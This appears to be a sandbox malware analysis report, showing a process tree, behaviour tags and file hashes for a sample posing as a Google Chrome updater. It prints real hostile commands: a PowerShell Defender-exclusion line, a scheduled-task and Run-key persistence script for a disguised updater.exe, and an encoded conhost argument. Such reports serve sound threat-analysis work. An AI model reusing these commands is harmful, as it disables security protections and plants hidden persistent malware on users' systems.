C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1924
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1584
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3872
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4020 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
PID:1104
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3736 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:1192
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:408
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:64
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
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Filesize
1KB
MD5c2411387dd5f68d6efbc1f2c923656e3
SHA11e530ecb70ce18b498ae5d91f43a49d27da8d235
SHA256c9336bce63e3a0f9e358ef72b6745b57c3cc4453f5fcb91b7a269d7a002d0f14
SHA512733eb99761f309c9bbdcf466001b2af33c5eb8333a0df0a44acfb6a85b66acf06e18df8f95944c1799dea0657552a103a57b13c9150d160b41a19d6594f9a1a5
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5